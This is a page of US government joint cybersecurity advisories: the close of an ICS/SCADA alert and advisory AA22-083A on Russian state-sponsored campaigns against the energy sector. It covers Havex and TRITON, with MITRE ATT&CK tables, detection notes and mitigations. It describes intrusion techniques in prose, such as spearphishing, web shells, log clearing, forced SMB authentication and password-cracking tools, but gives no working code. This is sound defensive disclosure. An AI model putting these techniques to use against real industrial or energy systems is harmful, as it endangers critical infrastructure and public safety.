DOE, CISA, NSA, and the FBI recommend all organizations with ICS/SCADA devices implement the following proactive mitigations:

  • Isolate ICS/SCADA systems and networks from corporate and internet networks using strong perimeter controls, and limit any communications entering or leaving ICS/SCADA perimeters. 
  • Enforce multifactor authentication for all remote access to ICS networks and devices whenever possible.
  • Have a cyber incident response plan, and exercise it regularly with stakeholders in IT, cybersecurity, and operations.
  • Change all passwords to ICS/SCADA devices and systems on a consistent schedule, especially all default passwords, to device-unique strong passwords to mitigate password brute force attacks and to give defender monitoring systems opportunities to detect common attacks.
  • Maintain known-good offline backups for faster recovery upon a disruptive attack, and conduct hashing and integrity checks on firmware and controller configuration files to ensure validity of those backups. 
  • Limit ICS/SCADA systems’ network connections to only specifically allowed management and engineering workstations.
  • Robustly protect management systems by configuring Device Guard, Credential Guard, and Hypervisor Code Integrity (HVCI). Install Endpoint Detection and Response (EDR) solutions on these subnets and ensure strong anti-virus file reputation settings are configured.
  • Implement robust log collection and retention from ICS/SCADA systems and management subnets.
  • Leverage a continuous OT monitoring solution to alert on malicious indicators and behaviors, watching internal systems and communications for known hostile actions and lateral movement. For enhanced network visibility to potentially identify abnormal traffic, consider using CISA’s open-source Industrial Control Systems Network Protocol Parsers (ICSNPP).
  • Ensure all applications are only installed when necessary for operation. 
  • Enforce principle of least privilege. Only use admin accounts when required for tasks, such as installing software updates. 
  • Investigate symptoms of a denial of service or connection severing, which exhibit as delays in communications processing, loss of function requiring a reboot, and delayed actions to operator comments as signs of potential malicious activity.
  • Monitor systems for loading of unusual drivers, especially for ASRock driver if no ASRock driver is normally used on the system. 
Resources

For additional information on securing OT devices, see 

Disclaimer

The information in this report is being provided “as is” for informational purposes only. DOE, CISA, NSA, and the FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the DOE, CISA, NSA, or the FBI, and this guidance shall not be used for advertising or product endorsement purposes.

Acknowledgements

The DOE, CISA, NSA, and the FBI would like to thank Dragos, Mandiant, Microsoft, Palo Alto Networks, and Schneider Electric for their contributions to this joint CSA.

Appendix: APT Cyber Tools Tactics, Techniques, and Procedures

See tables 1 through 3 for TTPs associated with the cyber actors’ tools described in this CSA mapped to the MITRE ATT&CK for ICS framework. See the ATT&CK for ICS framework for all referenced threat actor tactics and techniques.

Table 1: APT Tool for Schneider Electric ICS TTPs

Tactic Technique Execution Command-Line Interface [T0807] Scripting [T0853] Persistence Modify Program [T0889] System Firmware [T0857] Valid Accounts [T0859] Discovery Remote System Discovery [T0846] Remote System Information Discovery [T0888] Lateral Movement Default Credentials [T0812] Program Download [T0843] Valid Accounts [T0859] Collection Monitor Process State [T0801] Program Upload [T0845] Monitor Process State [T0801] Command and Control Commonly Used Port [T0885] Standard Application Layer Protocol [T0869] Inhibit Response Function Block Reporting Message [T0804] Block Command Message [T0803] Denial of Service [T0814] Data Destruction [T0809] Device Restart/Shutdown [T0816] System Firmware [T0857] Impair Process Control Modify Parameter [T0836] Unauthorized Command Message [T0855] Impact Denial of Control [T0813] Denial of View [T0815] Loss of Availability [T0826] Loss of Control [T0827] Loss of Productivity and Revenue [T0828] Manipulation of Control [T0831] Theft of Operational Information [T0882]

 

Table 2: APT Tool for OMRON ICS TTPs

Tactic Technique Initial Access Remote Services [T0886] Execution Command-Line Interface [T0807] Scripting [T0853] Change Operating Mode [T0858] Modify Controller Tasking [T0821] Native API [T0834] Persistence Modify Program [T0889] Valid Accounts [T0859] Evasion Change Operating Mode [T0858] Discovery  Network Sniffing [T0842] Remote System Discovery [T0846] Remote System Information Discovery [T0888] Lateral Movement Default Credentials [T0812] Lateral Tool Transfer [T0867] Program Download [T0843] Remote Services [T0886] Valid Accounts [T0859] Collection Detect Operating Mode [T0868] Monitor Process State [T0801] Program Upload [T0845] Command and Control Commonly Used Port [T0885] Standard Application Layer Protocol [T0869] Inhibit Response Function Service Stop [T0881] Impair Process Control Modify Parameter [T0836] Unauthorized Command Message [T0855] Impact Damage to Property [T0879] Loss of Safety [T0837] Manipulation of Control [T0831] Theft of Operational Information [T0882]

 

Table 3: APT Tool for OPC UA ICS TTPs

Tactic Technique Execution Command-Line Interface [T0807] Scripting [T0853] Persistence Valid Accounts [T0859] Discovery Remote System Discovery [T0846] Remote System Information Discovery [T0888] Lateral Movement Valid Accounts [T0859] Collection Monitor Process State [T0801] Point & Tag Identification [T0861] Command and Control Commonly Used Port [T0885] Standard Application Layer Protocol [T0869] Impact Manipulation of View [T0832] Theft of Operational Information [T0882] Contact Information

All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov

Revisions
  • April 13, 2022: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-083A: Tactics, Techniques, and Procedures of Indicted State-Sponsored Russian Cyber Actors Targeting the Energy Sector

US-CERT Alerts - Thu, 03/24/2022 - 15:00
Original release date: March 24, 2022
Summary

Actions to Take Today to Protect Energy Sector Networks:
• Implement and ensure robust network segmentation between IT and ICS networks.
• Enforce MFA to authenticate to a system.
• Manage the creation of, modification of, use of—and permissions associated with—privileged accounts.

This joint Cybersecurity Advisory (CSA)—coauthored by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Energy (DOE)—provides information on multiple intrusion campaigns conducted by state-sponsored Russian cyber actors from 2011 to 2018 and targeted U.S. and international Energy Sector organizations. CISA, the FBI, and DOE responded to these campaigns with appropriate action in and around the time that they occurred. CISA, the FBI, and DOE are sharing this information in order to highlight historical tactics, techniques, and procedures (TTPs) used by adversaries to target U.S. and international Energy Sector organizations.

On March 24, 2022, the U.S. Department of Justice unsealed indictments of three Russian Federal Security Service (FSB) officers and a Russian Federation Central Scientific Research Institute of Chemistry and Mechanics (TsNIIKhM) employee for their involvement in the following intrusion campaigns against U.S. and international oil refineries, nuclear facilities, and energy companies.[1]

  • Global Energy Sector Intrusion Campaign, 2011 to 2018: the FSB conducted a multi-stage campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data. 
    • One of the indicted FSB officers was involved in campaign activity that involved deploying Havex malware to victim networks. 
    • The other two indicted FSB officers were involved in activity targeting U.S. Energy Sector networks from 2016 through 2018.
  • Compromise of Middle East-based Energy Sector organization with TRITON Malware, 2017: Russian cyber actors with ties to the TsNIIKhM gained access to and leveraged TRITON (also known as HatMan) malware to manipulate a foreign oil refinery’s ICS controllers. TRITON was designed to specifically target Schneider Electric’s Triconex Tricon safety systems and is capable of disrupting those systems. Schneider Electric has issued a patch to mitigate the risk of the TRITON malware’s attack vector; however, network defenders should install the patch and remain vigilant against these threat actors’ TTPs.
    • The indicted TsNIIKhM cyber actor is charged with attempt to access U.S. protected computer networks and to cause damage to an energy facility.
    • The indicted TsNIIKhM cyber actor was a co-conspirator in the deployment of the TRITON malware in 2017.

This CSA provides the TTPs used by indicted FSB and TsNIIKhM actors in cyber operations against the global Energy Sector. Specifically, this advisory maps TTPs used in the global Energy Sector campaign and the compromise of the Middle East-based Energy Sector organization to the MITRE ATT&CK for Enterprise and ATT&CK for ICS frameworks.

CISA, the FBI, and DOE assess that state-sponsored Russian cyber operations continue to pose a threat to U.S. Energy Sector networks. CISA, the FBI, and DOE urge the Energy Sector and other critical infrastructure organizations to apply the recommendations listed in the Mitigations section of this advisory and Appendix A to reduce the risk of compromise. 

For more information on Russian state-sponsored malicious cyber activity, see CISA's Russia Cyber Threat Overview and Advisories webpage. For more information on the threat of Russian state-sponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure and CISA's Shields Up Technical Guidance webpage. 

Rewards for Justice Program

If you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State’s (DOS) Rewards for Justice program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to rewardsforjustice.net.

Click here for a PDF version of this report. 

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 10, and the ATT&CK for ICSs framework. See the ATT&CK for Enterprise and ATT&CK for ICS frameworks for all referenced threat actor tactics and techniques.

Global Energy Sector Intrusion Campaign, 2011 to 2018

From at least 2011 through 2018, the FSB (also known as Berserk Bear, Energetic Bear, TeamSpy, Dragonfly, Havex, Crouching Yeti, and Koala) conducted an intrusion campaign against international and U.S. Energy Sector organizations. The threat actor gained remote access to and deployed malware designed to collect ICS-related information on compromised Energy Sector networks, and exfiltrated enterprise and ICS data.

Beginning in 2013 and continuing through 2014, the threat actor leveraged Havex malware on Energy Sector networks. The threat actor gained access to these victim networks via spearphishing emails, redirects to compromised websites, and malicious versions of legitimate software updates on multiple ICS vendor websites. The new software updates contained installations of Havex malware, which infected systems of users who downloaded the compromised updates.

Havex is a remote access Trojan (RAT) that communicates with a command and control (C2) server. The C2 server deploys payloads that enumerate all collected network resources and uses the Open Platform Communications (OPC) standard to gather information about connected control systems devices and resources within the network. Havex allowed the actor to install additional malware and extract data, including system information, lists of files and installed programs, e-mail address books, and virtual private network (VPN) configuration files. The Havex payload can cause common OPC platforms to crash, which could cause a denial-of-service condition on applications that rely on OPC communications. Note: for additional information on Havex, see to CISA ICS Advisory ICS Focused Malware and CISA ICS Alert ICS Focused Malware (Update A).

Beginning in 2016, the threat actor began widely targeting U.S. Energy Sector networks. The actor conducted these attacks in two stages: first targeting third-party commercial organizations (such as vendors, integrators, and suppliers) and then targeting Energy Sector organizations. The threat actor used the compromised third-party infrastructure to conduct spearphishing, watering hole, and supply chain attacks to harvest Energy Sector credentials and to pivot to Energy Sector enterprise networks. After obtaining access to the U.S. Energy Sector networks, the actor conducted network discovery, moved laterally, gained persistence, then collected and exfiltrated information pertaining to ICS from the enterprise, and possibly operational technology (OT), environments. Exfiltrated information included: vendor information, reference documents, ICS architecture, and layout diagrams.

For more detailed information on FSB targeting of U.S. Energy Sector networks, See CISA Alert Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors.  

Refer to Appendix A for TTPs of Havex malware and TTPs used by the actor in the 2016 to 2018 targeting of U.S. Energy Sector networks, as well as associated mitigations.

Compromise of Middle East-based Energy Sector Organization with TRITON Malware, 2017

In 2017, Russian cyber actors with ties to TsNIIKhM gained access to and manipulated a foreign oil refinery’s safety devices. TsNIIKhM actors used TRITON malware on the ICS controllers, which resulted in the refinery shutting down for several days. 

TRITON is a custom-built, sophisticated, multi-stage malware affecting Schneider Electric’s Triconex Tricon, a safety programmable logic controller (PLC) (also referred to as a safety instrumented system [SIS]), which monitors industrial processes to prevent hazardous conditions. TRITON is capable of directly interacting with, remotely controlling, and compromising these safety systems. As these systems are used in a large number of environments, the capacity to disable, inhibit, or modify the ability of a process to fail safely could result in physical consequences. Note: for additional information on affected products, see to CISA ICS Advisory Schneider Electric Triconex Tricon (Update B).

TRITON malware affects Triconex Tricon PLCs by modifying in-memory firmware to add additional programming. The extra functionality allows an attacker to read/modify memory contents and execute custom code, disabling the safety system. 

TRITON malware has multiple components, including a custom Python script, four Python modules, and malicious shellcode that contains an injector and a payload. For detailed information on TRITON’s components, refer to CISA Malware Analysis Report (MAR): HatMan: Safety System Targeted Malware (Update B).

Note: the indicted TsNIIKhM cyber actor was also involved in activity targeting U.S. Energy Sector companies in 2018, and other TsNIIKhM-associated actors have targeted a U.S.-based company’s facilities in an attempt to access the company’s OT systems. To date, CISA, FBI, and DOE have no information to indicate these actors have intentionally disrupted any U.S. Energy Sector infrastructure. 

Refer to Appendix A for TTPs used by TRITON as well as associated mitigations. 

MitigationsEnterprise Environment

CISA, the FBI, and DOE recommend Energy Sector and other critical infrastructure organizations implement the following mitigations to harden their corporate enterprise network. These mitigations are tailored to combat multiple enterprise techniques observed in these campaigns (refer to Appendix A for observed TTPs and additional mitigations).

Privileged Account Management 
  • Manage the creation of, modification of, use of—and permissions associated with—privileged accounts, including SYSTEM and root.
Password Policies
  • Set and enforce secure password policies for accounts.
Disable or Remove Features or Programs
  • Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Audit 
  • Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc., to identify potential weaknesses.
Operating System Configuration 
  • Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Multifactor Authentication
  • Enforce multifactor authentication (MFA) by requiring users to provide two or more pieces of information (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.
Filter Network Traffic    
  • Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
Network Segmentation
  • Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a demilitarized zone (DMZ) to contain any internet-facing services that should not be exposed from the internal network.
Limit Access to Resources over the Network
  • Prevent access to file shares, remote access to systems, and unnecessary services. Mechanisms to limit access may include use of network concentrators, Remote Desktop Protocol (RDP) gateways, etc.
Execution Prevention
  • Block execution of code on a system through application control, and/or script blocking.
Industrial Control System Environment

CISA, the FBI, and DOE recommend Energy Sector and other critical infrastructure organizations implement the following mitigations to harden their ICS/OT environment.

Network Segmentation
  • Implement and ensure robust network segmentation between IT and ICS networks to limit the ability of cyber threat actors to move laterally to ICS networks if the IT network is compromised. 
    • Implement a network topology for ICS that has multiple layers, with the most critical communications occurring in the most secure and reliable layer. For more information refer to National Institute of Standard and Technology Special Publication 800-82: Guide to Industrial Control Systems (ICS) Security. Further segmentation should be applied to portions of the network that are reliant on one another by functionality. Figure 5 on page 26 of the CISA ICS Defense in Depth Strategy document describes this architecture.
    • Use one-way communication diodes to prevent external access, whenever possible.
    • Set up DMZs to create a physical and logical subnetwork that acts as an intermediary for connected security devices to avoid exposure.
    • Employ reliable network security protocols and services where feasible.
  • Consider using virtual local area networks (VLANs) for additional network segmentation, for example, by placing all printers in separate, dedicated VLANs and restricting users’ direct printer access. This same principle can be applied to segmentation of portions of the process for which devices are used. As an example, systems that are only involved in the creation of one component within an assembly line that is not directly related to another component can be on separate VLANs, which allows for identification of any unexpected communication, as well as segmentation against potential risk exposure on a larger scale.
  • Implement perimeter security between network segments to limit the ability of cyber threat actors to move laterally. 
    • Control traffic between network segments by using firewalls, intrusion detection systems (IDSs), and rules for filtering traffic on routers and switches.
    • Implement network monitoring at key chokepoints—including egress points to the internet, between network segments, core switch locations—and at key assets or services (e.g., remote access services).
    • Configure an IDS to create alarms for any ICS traffic outside normal operations (after establishing a baseline of normal operations and network traffic).
    • Configure security incident and event monitoring to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.
ICS Best Practices
  • Update all software. Use a risk-based assessment strategy to determine which ICS networks, assets, and zones should participate in the patch management program. 
  • Test all patches in out-of-band testing environments before implementation into production environments.
  • Implement application allow listing on human machine interfaces and engineering workstations.
  • Harden software configuration on field devices, including tablets and smartphones.
  • Replace all end-of-life software and hardware devices.
  • Disable unused ports and services on ICS devices (after testing to ensure this will not affect ICS operation).
  • Restrict and manage remote access software. Enforce MFA for remote access to ICS networks.
  • Configure encryption and security for network protocols within the ICS environment.
  • Do not allow vendors to connect their devices to the ICS network. Use of a compromised device could introduce malware. 
  • Disallow any devices that do not live solely on the ICS environment from communicating on the platform. ‘Transient devices’ provide risk exposure to the ICS environment from malicious activity in the IT or other environments to which they connect.
  • Maintain an ICS asset inventory of all hardware, software, and supporting infrastructure technologies. 
  • Maintain robust host logging on critical devices within the ICS environment, such as jump boxes, domain controllers, repository servers, etc. These logs should be aggregated into a centralized log server for review. 
  • Ensure robust physical security is in place to prevent unauthorized personal from accessing controlled spaces that house ICS equipment.
  • Regularly test manual controls so that critical functions can be kept running if ICS/OT networks need to be taken offline.
Contact Information

All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.

References

[1] https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical
[2] https://collaborate.mitre.org/attackics/index.php/Software/S0003 
[3] https://collaborate.mitre.org/attackics/index.php/Software/S0003
[4] https://collaborate.mitre.org/attackics/index.php/Software/S0013 

APPENDIX A: CAMPAIGN AND MALWARE TACTICS, TECHNIQUES, AND PROCEDURES Global Energy Sector Campaign: Havex Malware 

Table 1 maps Havex’s capabilities to the ATT&CK for Enterprise framework, and table 2 maps Havex’s capabilities to the ATT&CK for ICS framework. Table 1 also provides associated mitigations. For additional mitigations, refer to the Mitigations section of this advisory.

Table 1: Enterprise Domain Tactics and Techniques for Havex [2]

Tactic Technique Use Detection/Mitigations

Persistence [TA0003]

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001]

Havex adds Registry Run keys to achieve persistence.

Monitor: monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

Privilege Escalation [TA0004]

Process Injection [T1055]

Note: this technique also applies to:

  • Tactic: Defense Evasion [TA0005]

Havex injects itself into explorer.exe.

Behavior Prevention on End Point: use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, Application Programming Interface (API) call, etc., behavior.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

Defense Evasion [TA0005]

Indicator Removal on Host: File Deletion [T1070.004]

Havex contains a cleanup module that removes traces of itself from victim networks.

Monitor: monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network, which an adversary could introduce. Some monitoring tools may collect command-line arguments but may not capture DEL commands since DEL is a native function within cmd.exe.

Credential Access [TA0006]

Credentials from Password Stores: Credentials from Web Browsers [T1555.003]

Havex may contain a publicly available web browser password recovery tool.

Password Policies: set and enforce secure password policies for accounts.

Discovery [TA0007]

Account Discovery: Email Account [T1087.003]

Havex collects address book information from Outlook

Monitor: monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation (WMI) and PowerShell.

File and Directory Discovery [T1083]

Havex collects information about available drives, default browser, desktop file list, My Documents, internet history, program files, and root of available drives.

Monitor: monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as WMI and PowerShell.

Process Discovery [T1057]

Havex collects information about running processes.

Monitor: normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as WMI and PowerShell.

System Information Discovery [T1082]

Havex collects information about the OS and computer name.

Monitor: monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as WMI and PowerShell.

In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.

System Network Configuration Discovery [T1016]

Havex collects information about the internet adapter configuration.

Monitor: monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as WMI and PowerShell. System Owner/User Discovery [T1033] Havex collects usernames.

Collection [TA0009]

Archive Collected Data [T1560]

Havex writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.

Audit: audit or scan systems, permissions, insecure software, insecure configurations, etc., to identify potential weaknesses.

Command and Control [TA0011]

Data Encoding: Standard Encoding [T1132.001]

Havex uses standard Base64 + bzip2 or standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.

Detect: analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes using the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

 

Table 2: ICS Domain Tactics and Techniques for Havex [3]

Tactic Technique Use Initial Access Spearphishing Attachment [T0865] Havex is distributed through a Trojanized installer attached to emails.

Supply Chain Compromise [T0862]

Note: this activity also applies to Tactic: Drive by Compromise [T0817]

Havex is distributed through Trojanized installers planted on compromised vendor websites. Execution User Execution [T0863] Execution of Havex relies on a user opening a Trojanized installer attached to an email. Discovery Remote System Discovery [T0846] Havex uses Windows networking (WNet) to discover all the servers, including OPC servers that are reachable by the compromised machine over the network. Remote System Information Discovery [T0888] Havex gathers server information, including CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth. Collection Automated Collection [T0802] Havex gathers information about connected control systems devices. Point & Tag Identification [T0861] Havex can enumerate OPC tags; specifically tag name, type, access, and ID. Inhibit Response Function Denial of Service [T0814] Havex has caused multiple common OPC platforms to intermittently crash.  Impact Denial of Control [T0813] Havex can cause PLCs inability to control connected systems.   Global Energy Sector Campaign: 2016 to 2018 U.S. Energy Sector Targeting

Table 3 maps the 2016 to 2018 U.S. Energy Sector targeting activity to the MITRE ATT&CK Enterprise framework. Mitigations for techniques are also provided in table. For additional mitigations, refer to the Mitigations section of this advisory.

Table 3: Energy Sector Campaign, 2016 to 2018 targeting U.S. Energy Sector: Observed MITRE ATT&CK Enterprise Tactics and Techniques

Tactic Technique Use  Detection/Mitigations Reconnaissance [TA0043] Gather Victim Identity Information: Credentials [T1589.001]

The threat actor harvested credentials of third-party commercial organizations by sending spearphishing emails that contained a PDF attachment. The PDF attachment contained a shortened URL that, when clicked, led users to a website that prompted the user for their email address and password.
The threat actor harvested credentials of Energy Sector targets by sending spearphishing emails with a malicious Microsoft Word document or links to the watering holes created on compromised third-party websites.

Note: this activity also applies to: 

  • Tactic: Reconnaissance [TA0043], Technique: Phishing for Information [T1598]:

Software Configuration: implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.

User Training: train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.

Resource Development [TA0042] Compromise Infrastructure: Server [T1584.004] The threat actor created watering holes on compromised third-party organizations’ domains. This activity typically takes place outside the visibility of target organizations, making detection of this behavior difficult. Ensure that users browse the internet securely. Prevent intentional and unintentional download of malware or rootkits, and users from accessing infected or malicious websites. Treat all traffic as untrusted, even if it comes from a partner website or popular domain. Initial Access [TA0001] Valid Accounts [T1078] The threat actor obtained access to Energy Sector targets by leveraging compromised third-party infrastructure and previously compromised Energy Sector credentials against remote access services and infrastructure—specifically VPN, RDP, and Outlook Web Access—where MFA was not enabled.

Network Segmentation: architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

Update Software: perform regular software updates to mitigate exploitation risk.

Exploit Protection: use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.

Application Isolation and Sandboxing: restrict execution of code to a virtual environment on or in transit to an endpoint system.

External Remote Services [T1133] The threat actor installed VPN clients on compromised third-party targets to connect to Energy Sector networks.

Network Segmentation: architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

Limit Access to Resource Over Network: prevent access to file shares, remote access to systems, and unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.

Disable or Remove Program: remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

Execution 
[TA0002] Command and Scripting Interpreter: PowerShell [T1059.001]

During an RDP session, the threat actor used a PowerShell Script to create an account within a victim’s Microsoft Exchange Server. 

Note: this activity also applies to: 

  • Tactic: Persistence [TA0003], Technique: Create Account: Local Account [T1136.001

Antivirus/Antimalware: use signatures or heuristics to detect malicious software.

Code Signing: enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.

Disable or Remove Program: remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

Command and Scripting Interpreter: Windows Command Shell [T1059.003]

The threat actor used a JavaScript with an embedded Command Shell script to:

  • Create a local administrator account; 
  • Disable the host-based firewall;
  • Globally open port 3389 for RDP access; and
  • Attempt to add the newly created account to the administrators group to gain elevated privileges. 

Note: this activity also applies to: 

  • Tactic: Credential Access [TA0006], Technique: Input Capture [T1056]
  • Tactic: Execution [TA0002], Technique: Command and Scripting Interpreter: JavaScript [T1059.007]
  • Tactic: Persistence [TA0003], Technique: Create Account: Local Account [T1136.001]
Execution Prevention: block execution of code on a system through application control, and/or script blocking. Scheduled Task/Job: Scheduled Task [T1053.005] The threat actor created a Scheduled Task to automatically log out of a newly created account every eight hours.

Audit: audit or scan systems, permissions, insecure software, insecure configurations, etc., to identify potential weaknesses.

Harden Operating System Configuration: make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

User Account Management: manage the creation of, modification of, use of, and permissions associated with user accounts.

Persistence [TA0003] Create Account: Local Account [T1136.001]  The threat actor created local administrator accounts on previously compromised third-party organizations for reconnaissance and to remotely access Energy Sector targets.    MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

Server Software Component: Web Shell [T1505.003] The threat actor created webshells on Energy Sector targets’ publicly accessible email and web servers. Detect: the portion of the webshell that is on the server may be small and look innocuous. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. Defense Evasion [TA0005] Indicator Removal on Host: Clear Windows Event Logs [T1070.001]

The threat actor created new accounts on victim networks to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. 

The threat actor also removed applications they installed while they were in the network along with any logs produced. For example, the VPN client installed at one third-party commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.

Note: this activity also applies to:

  • Tactic: Persistence [TA0003], Technique: Create Account: Local Account [T1136.001]

Encrypt Sensitive Information: protect sensitive information with strong encryption.

Remote Data Storage: use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.

Restrict File and Directory Permissions: restrict access by setting directory and file permissions that are not specific to users or privileged accounts.

Indicator Removal on Host: File Deletion [T1070.004]

The threat actor cleaned up target networks by deleting created screenshots and specific registry keys. 

The threat actor also deleted all batch scripts, output text documents, and any tools they brought into the environment, such as scr.exe.

Note: this activity also applies to:

  • Technique: Modify Registry [T1112]
Monitor: monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.
  Technique: Masquerading [T1036] After downloading tools from a remote server, the threat actor renamed the extensions.

Restrict File and Directory Permissions: restrict access by setting directory and file permissions that are not specific to users or privileged accounts.

Code Signing: enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.

Execution Prevention: block execution of code on a system through application control, and/or script blocking.

Credential Access [TA0006] Brute Force: Password Cracking [T1110.002]

The threat actor used password-cracking techniques to obtain the plaintext passwords from obtained credential hashes.

The threat actor dropped and executed open-source and free password cracking tools such as Hydra, SecretsDump, and CrackMapExec, and Python.

MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

Password Policies: set and enforce secure password policies for accounts.

Forced Authentication [T1187] Microsoft Word attachments sent via spearphishing emails leveraged legitimate Microsoft Office functions for retrieving a document from a remote server over Server Message Block (SMB) using Transmission Control Protocol ports 445 or 139. As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.)

Password Policies: set and enforce secure password policies for accounts.

Filter Network Traffic: use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.

